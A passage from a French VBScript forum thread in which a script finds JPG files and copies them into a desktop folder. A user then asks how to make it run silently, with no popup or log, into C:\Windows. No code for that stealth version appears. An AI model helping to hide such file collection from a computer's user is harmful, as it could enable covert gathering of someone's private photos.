    	basefolder = sho.SpecialFolders("desktop")'Creation du dossier dans le Bureau
    	Set bf     = fso.GetFolder(basefolder)
    	If Not FSO.FolderExists(bf & "\" & name) Then
    		bf.subFolders.Add(name)
    		Else : Exit Sub
    	End If
     
    End Sub
     
    Function CopyFile(sFile,name)
    	Dim  FSO
    	Set FSO = CreateObject("Scripting.FileSystemObject")
    	If FSO.FolderExists(bf & "\" & name) Then
    		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
    	End If
    End Function
     
    Function qq(strIn)
    	qq = Chr(34) & strIn & Chr(34)
    End Function
    Nickel merci

    Par contre, sais tu comment faire pour supprimer le fichier "Recherche_26_12_2013-19-26.hta" (éviter sa création sur le bureau) et aussi le popup Le Dossier JPG est crée sur votre Bureau ! Veuillez Patientez SVP ! La Recherche des fichiers avec l'extension JPG est en cours

    J'ai essayé plusieurs truc pour créer le dossier JPG dans C:\Windows au lieu du bureau mais sans succès.. As tu une piste?

  6. #6
    Expert confirmé
    Avatar de hackoofr
    Homme Profil pro
    Enseignant
    Inscrit en
    Juin 2009
    Messages
    3 844
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 50
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Juin 2009
    Messages : 3 844
    Par défaut

    Si j'ai bien compris, tu veux créer le dossier JPG comme ça dans ce chemin :
    c:\windows\JPG
    et sans aucune popup et éviter aussi de créer un fichier Log ?
    Tu veux seulement une copie silencieuse sans intervention de l'utilisateur, c'est ça ?

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Recherche de chaine et copie dans fichier texte
    Par zigomato dans le forum Langage
    Réponses: 16
    Dernier message: 05/09/2014, 08h19
  2. [XL-2010] Recherches multi critères pour copie dans une nouvelle cellule
    Par Anjie dans le forum Excel
    Réponses: 9
    Dernier message: 18/05/2014, 21h18
  3. Recherche par choix avec checkbox dans une JSP
    Par zikyoubi dans le forum Servlets/JSP
    Réponses: 1
    Dernier message: 02/06/2013, 10h53
  4. Réponses: 1
    Dernier message: 15/12/2009, 16h53
  5. [VBS] recherche OU d'un utilisateur dans Active directory
    Par Amandine62 dans le forum VBScript
    Réponses: 7
    Dernier message: 16/02/2006, 08h42

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo